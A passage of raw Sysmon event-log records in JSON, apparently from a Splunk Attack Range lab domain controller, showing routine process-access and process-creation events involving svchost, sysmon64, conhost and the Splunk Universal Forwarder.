.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2687,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2688,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2689,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2690,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2691,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2692,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2693,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-402A-5F2D-0000-00107D890400}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-402A-5F2D-0000-00107D890400}","TargetProcessId":"4388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2694,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.114\r\nSourceProcessGUID: {90617006-402A-5F2D-0000-00107D890400}\r\nSourceProcessId: 4388\r\nSourceThreadId: 4384\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.114","SourceProcessGUID":"{90617006-402A-5F2D-0000-00107D890400}","SourceProcessId":"4388","SourceThreadId":"4384","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2695,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.850\r\nProcessGuid: {90617006-402B-5F2D-0000-0010988B0400}\r\nProcessId: 4416\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: 